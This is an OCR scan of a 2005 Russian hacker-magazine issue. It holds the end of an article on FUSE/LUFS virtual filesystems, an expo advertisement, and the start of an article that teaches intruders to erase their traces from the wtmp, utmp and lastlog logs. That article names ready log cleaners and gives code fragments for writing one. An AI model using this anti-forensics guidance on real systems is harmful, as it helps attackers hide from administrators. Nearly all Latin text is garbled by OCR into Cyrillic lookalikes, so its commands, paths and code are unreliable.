(мне досталась 2.2.1). Распаковывай архив, далее: 

# ./сопТідиге && таке && таке іпзіаІІ 

Если установка прошла успешно, можешь подгрузить модуль (со- 
ветую прописать эту команду куда-нибудь в загрузочные скрипты): 

# тосІргоЬе (изе 

[подвинься, Иг$е] ШЕЗ (Еіпих ЕІзегіапсІ ЕІІе ЗузЕет) — весьма схожий 
с Ризе проект, отличающийся только архитектурой. Если Ризе — это 
модуль и библиотека, предоставляющая возможность програм- 
мерам создавать свои виртуальные файловые системы, то ІиРз — 
не только модуль, но и программа, слинкованная с несколькими 
библиотеками, ка>кдая из которых реализует определенный тип 
ФС. К сожалению, автор забросил разработку, но исходники со- 
бираются и для новых ядер. Последнюю версию можно утянуть с 
/иРз.зР.леР. Установка сводится к выполнению банальной последо- 
вательности команд: 




[официальное представительство (изе в Сети] 




[кегпеі.огд у нас на компе] 



# ./сопіідиге && таке && таке іпзіаіі 

Далее необходимо подгрузить модуль, который по какой-то причи- 
не не устанавливаеточ в /ІІЬ/тосІиІѳз. Придеточ вое делать ручками; 

# іпзтосі кегпе1/ипих/2.6/1и(з.ко 

ШІ'з работает оо следующими файловыми оистемами: 

Ш Іооазеі'з — позволчет перемонтировать любой каталог так, что- 
бы все файлы получили имена в нижнем регистре. Невольно вспо- 
минаюточ архивы, созданные в 003 :). Использовать так: 

# тоипі -1 1и(з попе каталог -о !з=1осазе!з 

[Ц И'рСз — наверное, оамач полезная ФС, монтирует удаленные 
РТР-ресурсы, что очень удобно. В МісІпІдМ Согптапсіег еоть похо- 
жач функция, но работает она только в рамках самого то. Вот как 
можно подключитьоя к РРр-оерверу: 

# тоипі -1 1и(з попе точка_монтирования -о Із=ПрІз,Іі05І=(1р.ехат- 
рІе.огд,изетате=изег,разз\л/огсІ=зесгеі,(ірасііѵе 

В олучае подключения к анонимному серверу (логин апопутоиз 
или Ир) опции изегпате и раззѵуогсі не нужны. 

Ц] ззіпіз — подключает удаленные каталоги, используя протокол 
ЗРТР (то есть защищенное ЗЗН-ооединение). Таким образом, мож- 
но получить доступ к удаленной файловой сиотеме по шифрован- 
ному каналу. Чтобы использовать этот модуль, разработчики ре- 
комендуют настроить аутентификацию на базе ключей, потому 
как вводить пароль при каждом подключении довольно утомитель- 
но. Монтировать можно на манер Ир-ресуроов, но без указания 
пароля; 

# тоипі -I Іиіз попе точка_монтирования -о Із=ззМз,(іозІ=ззІт.ехат- 
р1е.огд,изетате=изег 

И дпеИз — оригинальная реализация клиента р2р-сети ѲпиІеІІа. 
Ц] дѵіз — предоотавляет доотуп к ѲпотеѴРЗ. 

[Е оагсііз — подключает карты памяти. 

Ц] оеРз — монтирует файловые системы различных КПК. 

Также существует демон, созданный на оонове Іизе и эмулирую- 
щий Іиіз, Называетоя он Іиііз и полностью совместим со всеми су- 
ществующими в Іиіз файловыми сиотемами. Ріа данный момент ІиІІз 
не пригоден для повседневного использования, но, я думаю, тебе 
все же будет интересно на него поомотреть: сіШ.сІІ.ві.пе^/воигсе- 
Шде/Юве/іиШ-0. 3. іаг.дг. 

[шифруемся] Помимо уже упомянутого ІиІз-ззТіІз, в Сети можно най- 
ти ззітіз и зТіІз. Оба продукта имеют свои достоинства и недостатки. 
ЗзТіІз — это улучшенная Іизе-версия утилиты ззТіІз из пакета Іиіз. Для 
монтирования не нужны права оуперпользователя. Из других дос- 
тоинств можно упомянуть кэширование и многопоточность. Офи- 
циальная страничка программы: іиве.вІпеУввМвМтІ. Чтобы о ее 
помощью подключить удаленную ззІт-ФС, доотаточно выполнить 
такую команду (еоли точка монтирования не указана, то ею ота- 
нет домашний каталог пользователя): 

# ззМз изег@ехатр1е.сот точка_монтирования 



Зітіз (з/т/з.зі.пеі), несмотря на охожее название, являетоя диамет- 
ральной противоположностью вышеописанной программы. 
Вмеото Іизе использует овой модуль ядра, вместо ЗРТР-протокола 
— чистое ЗЗН-соединение. После установки в оиотеме появится 
модуль зітіз, который и нужно подгрузить. Все операции с этой ФС 
можно проводить, используя отандартную команду тоипі: 

# тоипі -I зітіз изег@ехатр1е.сот точка_монтирования 
Или же прибегнув к уолугам зітізтоипі: 

# зііізтоипі изег@ехатр1е.сот точка_монтирования 
Возможные флаги: 

-Р — подключение к произвольному порту; 

-с — указанная команда будет использоваться вместо ззіт; 

-п — не обновлять /еІс/тІаЬ; 

-V — выводить диагноотические оообщения. 

[берегите инфу] ЕпсРЗ позволяет зашифровать любой каталог на 
диоке и окрыть ценные данные от посторонних. Иопользует в ово- 
ей работе пакет ОрепЗЗІ. Шифрует как содержимое файлов, так 
и их имена, причем вое это проиоходит на лету и не требует при- 
вилегий гооі'а. Так что о надежности волноваться не приходиться. 
На официальном оайте можно узнать о тысяче и одной причине, 
почему автор взялоя за написание ЕпсРЗ, а не использовал суще- 
отвующие технологии (например огуріо ІоорЬаск). Новая версия 
проги расположена по адресу агдО.пе^/ивегв/ѵдоидІп/епсѣМтІ. 
Также понадобится библиотека РІод (Ігез/ттеоі.пеі/рго/есіз/г/од) 
и Іизе. Уотановка стандартна и не должна вызвать затруднений. 
Иопользовать ЕпсРЗ очень просто: епсіз шифрованный_каталог 
точка_монтирования. Вот небольшой пример: 

# ссі /ітр 

# тксііг сгуріесі сіесгуріесі 

# епсіз /Ітр/сгуріесі /Ітр/сіесгуріесі 

Далее тебя опросят о режиме настройки: х (ехрегі) или р (рага- 
поіа). Можешь смело жать на «х» и выбирать алгоритм шифрова- 
ния (АЕЗ или ВІо\л/ІІ5рі), размер ключа и другие параметры. Для ле- 
нивых больше подойдет режим рагапоіа — так ЕпсРЗ сам устано- 
вит рекомендуемые настройки и предложит ввеоти пароль. С это- 
го момента начинаютоя чудеса: 

# ССІ сіесгуріесі 

# есііо "зесгеі" > Іііе 

# ССІ ../сгуріесі 

# Із 

Что видишь? Я вижу хдІЗ]ѵІКп- 
рІ? 22 РІМРіЬдкТТіК :). Каталог те- 
перь можно размонтировать 
командой 

# Іизегтоипі -и /Ітр/сІесгурІесІ. 

[приятные мелочи] Вышеопи- 
оанный софт — это, конечно 
же, не все, что можно найти на 



Используя ЕпсРЗ, не забы- 
вай указывать полные пути 
ко всем каталогам. 



Уже смонтированные іиве- 
ФС можно отключить, ис- 
пользуя команду (изегтоипі 
-и точка_монтирования. 



[хакер 06 [78] 05 > иміхою 097 ] 




[хакер 06 [78] 05 > иміхою 098 ] 




[епсРЗ в режиме ехреП] 







[схема работы ?іізе] 



да будут под рукой оамые пооледние вер- 
оии исходных текстов программ. Вот только 
эти «асісі», «сііескоиі'», «сотті+ч со време- 
нем начинают доставать. Ну и хорошо, из- 
бавимся от ручного ввода команд и просто 
примонтируем репозиторий к нужному ка- 
талогу. Поможет нам в этом прога сѵзІ'з-Сизе 
(сѵзѣ.з^пѳ'О. Чтобы с ее помощью получить 
доступ к СѴЗ-репозиторию, необходимо 
выполнить два действия: подмонтировать 
сѵз^з к каталогу: 

# сѵ8?з-^и8е точка_монтирования 



тему «виртуальные файловые системы». Поэ- 
тому предлагаю тебе познакомиться с еще несколькими интерес- 
ными проектами. 

СОТз — ядерный модуль, позволяющий получить доступ к музы- 
кальным дискам, ѴісІеоСО и другим сырым данным. Сливай тар- 
болл с ѵѵѵ/т,еІІ5.идепІЬѳ/~гопззѳ/ссІѢ, распаковывай, далее: 

# таке && таке іпзіаіі && тосІргоЬе сс1!з 
Возьми любой аисІіо-СО и попробуй: 

# тоипТ -1 сс1(з /сіеѵ/ссігот /тпі/ссі 

Теперь любой трек с диска можно прослушать, используя станда- 
ртную команду ріау. 

Наверное, все юниксоиды знают и используют для подключения 
удаленных ЗМВ-ресурсов зтЬгпоипТ. И все знают о том, что эта 
программа неработоспособна без прав рута (зиісі не в счет ;). Но, 
оказывается, существует альтернатива, лишенная этого недос- 
татка. Называется она ТизезтЬ (І 1 аппіЬаI.I^-з^исIѳIТ^.пI/~ѵіпсеп'^Диз- 
ѳзтЬ). 

После того как Тизе набрала популярность, софт, использующий 
эту либу, начал плодиться с невероятной скоростью. И вот, встре- 
чайте гтюипі'іо — замену птоипі" -о Іоор. Единственная фишка — не 
нужен гоок Взять это чудо можно здесь: сііШ.сІІ.зі.пеі/зоигсе- 
іогде/іизе/тоипііо-О.ІЛаг.дг. Юзать очень просто: гтюипі'іо об- 
раз_диска точка_монтирования. 

Очень заманчивая идея — полазить по файловой системе сотово- 
го телефона. И владельцы труб от Зіетепз могут это сделать бла- 
годаря ЗіеРЗ. В пакете, который можно забрать с 
сігаоз.аіізіетепз.сот/зіеіз, находится не только прога для монти- 
рования, но и пара утилит: зііпкз (нужна для получения доступа к 
ФС без монтирования) и ѵгтю2\л/аѵ (конвертирует формат записей 
диктофона в обычный \л/аѵ). Как и весь рассматриваемый в статье 
софт, использовать ЗіеРЗ просто: 

# тоипі -1 8ІеІ8 порт точка_монтирования 

Порт — это СОМ- или иЗВ-порт, к которому подключен твой теле- 
фон. Из доступных опций монтирования могу выделить Ьаисігаіе 
(задает скорость порта) и іосіюгзеі (укажи кодировку твоей сис- 
темы, дефолтное значение — 1ЯР8). 

Размер почтового ящика на дтаП.сот сразу заставляет заду- 
маться о возможности его использования в качестве хранилища 
файлов. И такое хранилище легко организовать, используя 
ѲтаіІРЗ — псевдо-ФС, основанную на Іизе и ІІЬдтаіІ. Чтобы соб- 
рать ОтаіІРЗ {гісЬагсІ.іопез.пате/доодІе-ііаскз/дтаіШезуз- 
іет/дтаіІ-Шезузіет.МтО тебе понадобятся: руіітоп, 1изе-ру11юп 
{гісііагб.іопез.пате/доодІе-ііаскз/дтаіІ-іНезузіет/^изе- 
руікюпЛаг.дг) и ІІЬдтаіІ (ІІЬдтаіІ. зкпеі). На сайте ѲтаіІРЗ находит- 
ся хорошее описание того, как все это собрать и заставить работать. 
Долгие годы проблемой не только Еіпих'а, но и всех никсов была 
ограниченная поддержка файловой системы МТРЗ. Для пингвина 
это ограничение выражалось в невозможности записи данных. А 
все, как всегда, из-за Майкрософта, который никому не хочет 
рассказывать о внутреннем устройстве своей ФС. И вот програм- 
мерам надоело копаться в недрах МТРЗ, они взяли родной драй- 
вер из \Л/іпсІо\л/5 (пИз.зуз), приделали к нему Ііпих-переходник и наз- 
вали получившееся Сарііѵе, Работает такая система на базе Іиіз 
и требует тот самый пНз.зуз. Официальная страница: ѵѵѵѵт.іапкга- 
іосііѵН.пеі/ргоіесі/сарііѵе. 

Удобная все-таки штука сѵз. И совместную разработку помогает 
организовать, и время сэкономить. Плюс к этому с сѵз у тебя всег- 



и указать путь до самого репозитория: 

# СѴ8І8СІІ зеіѵіеѵѵ точка_монтирования репозиторий модуль 

Репозиторий задается в стандартной для СѴЗ форме 
((:<те11юсІ>:)(<изегісІ>(:<разз\л/огсІ>)@)<зегѵег>(:рог1)<сѵзгоо1>). 
Теперь файлы можно копировать, удалять и т.д. С помощью сѵзіз 
очень удобно забирать обновления. 

[автоматизируй это] Вручную монтировать/размонтировать файло- 
вые системы быстро надоедает, поэтому займемся автоматизаци- 
ей процесса. Для этого понадобится пакет аи1о1з-ѵ4 (йр://йр.кег- 
пеІ.огд/риЬ/Ііпих/сІаетопз/аиШз/ѵ4І), его лучше взять из своего 
дистрибутива, чтобы не мучиться с загрузочными скриптами, и 
ядерный модуль аиІоІзД (ЕІІе зузіетз -> КегпеІ аиіотоипіег ѵегзіоп 4 
зиррогі). После того как оба компонента будут установлены, пере- 
загрузи систему и приступай к конфигурированию. Примеры кон- 
фигов ты найдешь в файлах аиіо.тазіег, аиіо.тізс и аиіо.пеі, рас- 
положенных в каталоге /еіс. В подробности работы аиіоіз я вда- 
ваться не буду, а просто покажу, как его эффективно использо- 
вать. Создавай файл /е1с/аи1о.таз1ег и пропиши: 

[# ѵі /е(с/аиіо.та8(ег] 

/тпі/іір /е1с/аиІо.88ІіІ8 -1ітеои1=60 
/тп1/з8Іі /е1с/аи1о.11рІ8 -1ітеои1=60 
/тп1/тІ8с /е1с/аи1о.тІ8с 

Файлы аиіо.ззітіз и аиІо.ИрІз были установлены вместе с пакетом 
Іиіз. Формат аиіо.тізс следующий: «точка_монтирования опции 
:путь_к_ФС», записей может быть несколько, и учти, что точка мон- 
тирования будет иметь префикс /тпі/тізс. К примеру, пропишем 
в этот файл следующее: 

ѵѵіп -1з1уре=ѵіа1,и8егз :/сІеѵ/1ісіа5 

Перезапусти демон: 

# /е1с/гс.(1/іпі1.(1/аи1о1з гезіагі 

И ооздай необходимые каталоги: 

# тксііг /тп1/{11р,зз1і,тізс} 

А теперь смотри, что получается: ты заходишь в каталог 
/тпіДір/йр.кѳгпѳІ.огд и попадаешь во всем известный ядерный 
Ир-архив. 

Не могу не упомянуть также о кернел-патче зирегтоипі. Его задача — 
автоматически монтировать сидюк. Пользователи, недавно покинув- 
шие винды, оценят такую возможность. Сфициальная страничка на- 
ходится по адресу зирегтоипі.зіпѳі. К сожалению, авторы что-то не 
спешат с обновлениями, и патч доступен только для ядра 2.6.2. Но не 
стоит унывать — адаптированную версию патча для последних ядер 
можно взять с сайта известного Ііпих-хакера Кона Коливаса (ск.коіі- 
ѵаз.огд/раісЬез/2.6). После его применения в конфигураторе ядра 
появится новый пуніа: ЕІІе зузіетз -> Рзеисіо Іііезузіетз -> Зирегтоипі 
гетоѵаЫе тесііа зиррогі. Заставить зирегтоипі работать с твоим си- 
дюком очень просто: нужно только добавить в /еісДзіаЬ строку: 

попе /тебіа/ссігот зирегтоипі сІеѵ=/сІеѵ/ссігот, — щзег.го 0 0 

Здеоь /тесііа/осігот — точка монтирования, а /сІеѵ/ссІгот — твой 
привод © 
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На ааиноіі экспозпипп 5уаут 
преаставпены услугп, питересные 
шпрокому слою населения (В2С); 

♦ Комплексные пнФокоммунпкаипонные 
УСЛУГИ населению 




♦ Беспровоаная связь 

- ВкіеІооІІі 

- Услуги ММ3. СРЯЗ 



специалистов в области информатизации и связи 
(В2В) и преаполагает слеауюшне направления: 

♦ ИнФокоммуникационные услуги на базе интеграции 
среаств связи и информатизации 

♦ Информатизация и компьютерные сети 

♦ Информационные системы 
е Телекоммуникации 





ЫОТС 






- Услуги доступа в Интернет 

- ѴѴІ-Г-І 

- Мультимеаийные услуги на базе 
Интернета 

- Услуги спутникового, кабельного и 
наземного телевиаения 

- Интерактивные услуги в сетях 
поавижной связи 

- Мобильный ІпІегпеІ 

- Оомашние сети 

- Услуги тепемеяицнны 

- ВнаеоконФеренцсвязь 

- Услуги местной, межаугороаной и 
межаунароаиой связй 

- Телефонные аппараты 

- Мультимеаиа-прояукты 

- Аксессуары 

♦ Интеллектуальный яом (Сопхитеі* еіесігопісз ) 
Тематика разаелов на стеняе сцип "Электронная Россия": 

♦ Электронное правительство (Человек и госуяарство) 

♦ Электронный бизнес (Человек и бизнес) 

♦ Электронный МИР (Человек в электронном мире) 



♦ 

♦ 

♦ 

♦ 

♦ 

♦ 

♦ 

♦ 



Почтовые УСЛУГИ 

Научные исслеяоваиия и технологии 
Беспровояные технологии 
Электроника и электронные компоненты 
Интеллектуальный яом 
Интегрированные системы управления 



Мультирумные ауяио/вияеосистемы 

Презентационные системы яля коиФеренц-залов 
и ситуационных комнат 



яресзэк 

Шіл к т 

129223. г. Москва, по. Мпра. ВВІІ. сто.334 
Теп.: (095) 544-38-31 с|>акс; (095) 181-64-30 
Е-іпаіІ: таіІ-ісІ@гехІес.ічі 

Іі!ІР://тѵ\ѵ.іс!-ехро.ічі 






ЮНИТЫ КРЕАТИФФ КОДИНГ ЫЫІХОІО СЦЕНА ВЗЛОМ ИМПЛАНТ . РС_20МЕ РЕППУМ НЬЮСЫ 






В борьбе 
с журнальными 
бестиями 



СОВЕРШЕННО ОЧЕВИДНО, ЧТО НУЖНО ВСЯ- 
ЧЕСКИМИ СПОСОБАМИ СКРЫВАТЬ СВОЕ ПРИ- 
СУТСТВИЕ В ЛОГАХ ЗАХВАЧЕННОЙ СИСТЕМЫ. 
СКРИПТ-КИДДИ ОБЫЧНО НЕ ЗАДУМЫВАЯСЬ 
СКАЧИВАЕТ КАКОЙ-НИБУДЬ ЛОГВАЙПЕР ИЛИ 
УСТАНАВЛИВАЕТ РУТКИТ, КОТОРЫЙ ДЕЛАЕТ 
ВСЮ РАБОТУ АВТОМАТИЧЕСКИ. ОДНАКО ПРО- 
ФЕССИОНАЛ ДОЛЖЕН НЕ ТОЛЬКО ЗНАТЬ, КА- 
КИЕ ЛОГ-ФАЙЛЫ НАДО ЧИСТИТЬ, НО И ЧЕТКО 
ПОНИМАТЬ ИХ ФОРМАТ. ЕСЛИ ЛОГИ СТАН- 
ДАРТНЫХ ДЕМОНОВ, К ПРИМЕРУ, 8Ѵ8ЕОѲО, 
НТТРО, 88НО, ОПИСАНЫ БОЛЕЕ ЧЕМ ДОСТА- 
ТОЧНО, ТО БОЛЬШИНСТВО ИСТОЧНИКОВ 
ХРАНИТ ГРОБОВОЕ МОЛЧАНИЕ О ФОРМАТЕ 
ТАКИХ ВАЖНЫХ ЛОГ-ФАЙЛОВ, КАК ѴѴТМР, 
итмр и ІА8ТЕОѲ. СЕГОДНЯ МЫ ПОСТАРАЕМ- 
СЯ ВОСПОЛНИТЬ этот ИНФОРМАЦИОННЫЙ 

ПРОБЕЛ I Иван Скляров (\ллл/ѵу.5кІуаго^.ги) 



Разбираемся с бинарными 
логами иітр, ѵѵітр и ІазІІод 

[зачем нужны ѵ/ігшр, и1тпр и Іаз+Іод] То, что 

формат файлов \л/Ттр, иТтр и ІазТіод боль- 
шинство источников обходят стороной, не 
случайно. Дело в том, что, в отличие от всех 
остальных логов, в этих трех данные хранят- 
ся не в текстовом формате, а в бинарном. 



поэтому ручное редактирова- 
ние их невозможно. А зачем во- 
обще нужны эти логи? Ответ на 
это предоставят страницы спра- 
вочных руководств. Команды 
ітюп \л/1тіпр, ітюп иігтір и тап Іаз+Іод поведают нам о том, что файл 
Іаз+Іод содержит информацию о последнем входе пользователя в 
систему, файл \л/1тгір содержит исторические сведения о подклю- 
чениях к системе, а и1тпр содержит сведения о текущих подключе- 
ниях к системе. Но самое важное то, что из файлов иітпр и \лЛтр чи- 
тают информацию такие утилиты, как \л/1по, \л/ и 1аз1' (если быть более 
точным, то \л/Ііо и ѵ\/ читают из иітіпр, а Іазі" берет информацию из 
ѵИ’птр), а из файла Іаз+іод читает информацию одноименная утили- 
та Іаз+Іод. Если хакер не подчистит эти файлы, то администратор 
легко сможет выцепить его в системе банальным запуском \л/Ііо. 
Понятно, что взломщик должен знать все о файлах Ѵі/Ітр, иігтір и 
ІазІІод, чтобы уметь грамотно скрывать свое присутствие, 

[знакомимся поближе] Стандартно файлы \л/1гпр, иітр и ІазІІод 
располагаются в системе по следующим путям: /ѵаг/гип/и1гпр 
(/ѵаг/Іод/иітр), /ѵаг/Іод/ѵѵітр и Іѵаг/Іод/іазіІод. Так как в эти логи 
заносится вся информация о подключениях и перезапусках, то, 
следовательно, в них должны писать такие процессы, как Іодіп, 
деПу, 11р, хсіт, кбт и т.д. Утили- 
ты \л/Тю, \л/ и Іазі берут лишь часть 
данных из иітр и \л/1тр, обычно 
в этих логах сохраняется гораз- 
до больше информации. В Еіпих 
присутствует программа иітр- 
сіитр, которая позволяет прос- 
мотреть более полную инфу из 
иітр и \л/1тр в понятном для че- 
ловека формате. 

Как видно на скриншотах, кож- [восемь позиций в файле ѵѵітр] 
дая строка в выво- 
димой информации 
состоит из восьми 
позиций, а каждая 
позиция ограничена 
квадратными скоб- 
ками. В первой пози- 
ции расположено 
число, которое явля- 
ется идентификато- 
ром сессии; во вто- [восемь позиций в файле иітр] 





ш 



На диске ты найдешь 
исходники лог-клинеров 
шІіо_сІеасІ и ш1ю_йеаб2. 




рой расположен РЮ процесса; в третьей могут быть следующие 
значения: — , Ь\л/, число или буква и число. Эти метки обозначают 
соответственно: изменение уровня запуска или перезагрузку си- 
стемы, процесс Ьоо1'\л/аі1', номер ТТѴ, комбинацию буквы и числа 
для РТУ (псевдотерминал). Четвертая позиция может быть либо пу- 
стой, либо содержащей имя пользователя, геЬооТ (перезагрузка) 
или гипіеѵеі (уровень запуска), В пятой позиции указывается кон- 
тролирующий ТТУ или РТУ, если эти данные известны. Шестая пози- 
ция показывает имя удаленного узла. Если подключение осущест- 
вляется с локального узла, в этом поле ничего не указывается. В 
седьмой позиции указывается ІР-адрес удаленной системы. И в 
последнем, восьмом поле содержится дата и время внесения за- 
писи. Содержимое файлов иТтр и \л/Ттр в целом совпадает, толь- 
ко в файле иТтр записи расположены в хронологическом поряд- 
ке, а в \л/Ттр этот порядок противоположен, то есть самые старые 
записи расположены в конце. Часто в и+птр присутствуют уста- 
ревшие записи из-за того, что соответствующие сеансы когда-то 
были завершены некорректно. Если файлы иЕтр, \л/1тпр и ІазІІод 
удалить, то логирование не будет осуществляться. Чтобы начать 
журналирование, эти файлы нужно создать пустыми: 

# ср /сіеѵ/пиІІ /ѵаг/гип/иітр 

# ср /сіеѵ/пиІІ /ѵаг/іод/ѵѵітр 

# ср /сІеѵ/пиІІ /ѵаг/Іод/ІазІІод 

[формат файлов \лФтр, иітпр и Іаз+Іод] В тап можно узнать, что 
ѵѵітр и иітпр состоят из последовательности структур. Причем 
эти структуры одинаковы для файлов ѵѵітпр и иітр и объявлены в 
заголовочном файле иітр.іп. В Еіпих этот файл расположен в ката- 
логе /иБг/іпсІисІе/Ы1'з. 



[заголовочный файл иітр. 1т в Ііпих] 

зігисі иітр 

{ 

ЗІ10ГІ іпі и1_1уре; //Тип записи 

рісІ_і иі_рісі; // Идентификатор процесса 

сітаг иІ_Ііпе[1)Т_ЕІМЕЗІ2Е]; // Имя устройства (сопзоіе, Пухх) 
сітаг иІ_ісі[4]; // Ю из файла /еІс/іпіПаЬ (обычно номер линии) 

сітаг иІ_изег[иТ_МАМЕЗІ2Е]; // Входное имя пользователя 
сітаг иІ_1тозІ[иТ_НОЗТЗІ2Е]; // Имя удаленного хоста 
зігисі ехіІ_зІаІиз иІ_ехіІ; /* Код завершения процесса, помеченного 
как ОЕАО_РРОСЕЗЗ */ 

Іопд ІПІ иІ_зеззіоп; 
зігисі ІітеѵаІ и1_1ѵ; 

Іп132_1 иІ_асІс1г_ѵ6[4]; 
сітаг ипизеб[20]; 

}; 

зігисі ехіІ_з1аІиз { 
зітогі ІПІ е_Іегтіпа1іоп; 
зітогі ІПІ е_ехіІ; 

}; 

// Для совместимости 
#бе1іпе иІ_пате иІ_изег 
#ІІпбе1 _МО_иТ_ТІМЕ 
#сІе1іпе иі_ііте иі_іѵ.іѵ_зес 
#епс1ІІ 

#сІе1іпе иі_хііте иі_іѵ.іѵ_зес 
#бе1іпе иІ_ас1сіг иІ_асіс1г_ѵ6[0] 

Во ЕгееВЗЭ файл иітр. 1т расположен в каталоге /изг/іпсіисіе и 
структура иітр выглядит немного иначе: 



// Ю сессии 

// Время создания записи 
// ІР-адрес удаленного хоста 
// Зарезервировано 



// Системный код завершения процесса 
// Пользовательский код завершения 



[структура иІтрЩ в РгееВЗО] 
зігисі иітр { 

сііаг иІ_ііпе[иТ_ІІМЕЗІ2Е]; 
сііаг иІ_пате[иТ_МАМЕЗІ2Е]; 
сІіаг иІ_ІіозІ[иТ_НОЗТЗІ2Е]; 
Ііте_1 иМіте; 

}; 



// Имя устройства(сопзоіе, Нухх) 
// Входное имя пользователя 
// Имя удаленного хоста 
// Временная метка 



Стоит отметить, что на страницах тап эти структуры описаны, но 
всегда надо смотреть в заголовочные файлы — истина только там. 
Структура ІазІІод таіоке определена в файле иітр. 1т и имеет сле- 
дующий вид: 

[в Ыпих] 

зігисі ІазІІод 

{ 

Ііте_1 Іі_1іте; 

сііаг іі_Ііпе[иТ_ІІЫЕЗІ2Е]; 
сііаг іі_ІіозІ[иТ_НОЗТЗІ2Е]; 

}; 



[в РгееВЗО] 

зігисі ІазІІод 

{ 

Ііте_1 Іі_1іте; 

сііаг іі_ііпе[иТ_ІІЫЕЗІ2Е]; 

сііаг іі_ІіозІ[иТ_НОЗТЗІ2Е]; 

}; 

Как видишь, отличие только в названии типа І1_1іте. В Еіпих суще- 
ствует отдельный заголовочный файл ІазІІод, Іі. Обычно он содер- 
жит только одну строчку «#іпсІисІе <и1тр,1і»і, то есть вся информа- 
ция находится в файле иітр.іі. 

[как скрыть информацию от \л/Ііо] Вообще способов сокрытия за- 
писей от таких администраторских утилит, как \л/1ю, \л/ и так далее, 
существует великое множество. Например, можно внедрить мо- 
дуль ядра, который будет перехватывать системные вызовы. Мож- 
но подменить сами файлы \л/Ііо и \л/, чтобы они показывали только 
часть информации. Наконец, можно с помощью зузігасе блокиро- 
вать некоторые зузсаііз для изменения поведения утилит. Но так как 
сейчас мы рассматриваем непосредственно файлы \л/1тр, иітр 
и ІазІІод, то разберем, как можно скрыть нужную информацию пу- 
тем модификации самих этих логов. 

Существуют функции ирсі\л/1тр() и 1од\л/1тр() для добавления но- 
вых записей к текущему файлу \л/1тр. А как происходит удаление 
записей из бинарных логов? Как правило, записи в файлах иітр, 
\л/1тр и ІазІІод удаляет та программа, которая их вносила, напри- 
мер Іодіп. Причем на самом деле записи не удаляются — в соот- 
ветствующей структуре очищаются поля с входным именем поль- 
зователя и именем хост-машины, а значение, которое было в поле 
времени (и1_1іте), изменяется на время выхода, В файлах иітр и 
\л/1тр дополнительно производится модификация типа записи 
(иІ_Іуре) с иЗЕ1?_РГгОСЕ35 на ЭЕАЭ.РРОСЕЗЗ. 

[определения для иМуре, взятые из иітр.іі:] 

#бе1іпе ЕМРТѴ О // Отсутствие пользовательской информации 
#бе1іпе РЕІМ_ІѴЕ 1 // Системный уровень выполнения 
#бе1іпе ВООТ_Т1МЕ 2 // Время загрузки системы 
#сІеІіпе МЕ\Л/_Т1МЕ 3 // Время после изменения системного времени 
#сІе1іпе ОЕО_Т1МЕ 4 // Время, когда системное время было изменено 
#сІеІіпе 1М1Т_РР10СЕЗЗ 5 // Процесс, порожденный вызовом іпіі 
#бе1іпе ЕО(31М_РПОСЕЗЗ 6 /* Процесс зарегистрировавшегося в 
системе пользователя */ 

#бе1іпе иЗЕВ_РВОСЕЗЗ 7 // Нормальный процесс 
#сІе1іпе ОЕАВ_РВОСЕЗЗ 8 // Завершенный процесс 
#сІеІіпе АССОЕІМТІМС 9 // Системный учет 

Таким образом, можно удалить информацию из логов двумя спо- 
собами: 

Ш Найти по имени пользователя (имени хоста, названию термина- 
ла и т.д.) нужную запись в лог-файле и очистить поля с входным 
именем пользователя и именем хост-машины или просто с помо- 
щью вызова тетзеЮ или ЬгегоО обнулить все поля структуры. 

[1] Скопировать из логов всю информацию, кроме той, которую 
нужно скрыть, во временный файл, а потом заменить содержимым 
очищенного файла первоначальный лог. 

Уже написано много утилит-клинеров (Іодз сіеапег), которые мо- 
дифицируют тем или иным способом файлы иітр, \л/1тр и ІазІІод. 
Наиболее известными из них являются: таггу, Іодсіоак, с1оаск2, ге- 
тоѵе, гар2, ѵапізіі, \л/іре (с исходниками лежат на тш/.раскѳі'- 
зіогтзесигіРу.п!). 



[хакер 06 [78] 05 > иміхою 101 ] 



[хакер 06 [78] 05 > иміхою 102 ] 




[клинер ѵѵІіо_сіеасі скрывает пользователя гооі 
от утилит ѵѵіто, ѵѵ, Іазі и ІазІІод] 





[архив клиперов на РАСКЕТ ЗТОНМ] 



С1МГЧГ> 






Гіл» ѵагі'плЛК.ѵ ' 

гіч ызѵ.гц^ 

ШГѵ* ілтик Ѵѵ^ЬчУіииаі' 






|н4І-и^и» 

■ІтиЛ: \Л.ш^ 0сиі. 



В структуре Іаз+Іод отсутствует поле с именем пользователя, поэ- 
тому для модификации этого лога нужен другой подход, отличный 
от и+тр и ѵуітр, В решении задачи поможет следующий момент — 
все записи в файле Іаз+Іод отсортированы по УЮ. Поэтому в функ- 
ции с1еас1_1аз1'1од() по имени пользователя определяется его УЮ с 
помощью стандартной функции де+руупатО. Затем производится 
очистка найденной структуры в файле Іаз+Іод с помощью следую- 
щих строк (в ОрепВЗО второй аргумент ІзеекО следует приводить к 
типу оі^^ — прим, ред.): 

І5еек((сІ, (Іопд)р\/ѵсІ->р\л/_иіс[ * сіізі, 0); 

Ь 2 его((сИаг *)&роз, йізі); 

ѵѵгі1е((сі, (сітаг *)&роз, сіізі); 



[исходный код клинера тІто_сіеасі] 

[как написать свою утилиту-клинер] Сейчас я рассках<у, как напи- 
сать свой клинер с реализацией первого способа, то есть с зати- 
ранием информации нулями. Минусом этого способа является то, 
что многие утилиты обнарух<ения атак проверяют файлы 
и1тпр/\л/1'ппр/Іаз1'іод на наличие нулевых структур. Поэтому в реаль- 
ности лучше воспользоваться вторым способом, но я специально 
оставляю место для творчества, так как если ты поймешь реали- 
зацию первого способа, то со вторым проблем возникнуть не дол- 
жно. Кроме того, я ограничусь только операционной системой У- 
пих. Для других *піх-систем ты сам сможешь оптимизировать про- 
грамму. Исходник на страницах журнала я не привожу, ты смо- 
жешь взять его на компакт-диске (я назвал его \л/кю_с1еас1.с). Оста- 
новимся только на ключевых моментах. 

В заголовочный файл я включаю файл ІазІІод.Іл "#іпсіисіе <^31"- 
1од.[т>". Но, как я говорил ранее, в системе Ппих он не обязателен, 
ибо является ссылкой на иітр.іл. Также я на всякий случай опре- 
деляю пути к лог-файлам (хотя обычно 1ЯМР_Р11Е и ѴѴТМР_РІІЕ опре- 
делены в иТтр.Ті): 

#сІе[іпе иТМР_Р11Е 7ѵаг/гип/и(тр'' 

#с1е[іпе ѴѴТМР_РІІЕ "/ѵаг/іод/ѵѵітр" 

#с1е[іпе ІАЗТІОѲ_РІЕЕ Ѵѵаг/Іод/ІазІІод" 

В программе мной создано две основных функции: с1еас1_и\л/Ттр() 
предназначена для очистки файлов иТтр и \л/Ттр, а функция сіе- 
ас1_1азТ1од() очищает ІазТІод. Поиск в логах структуры для очистки 
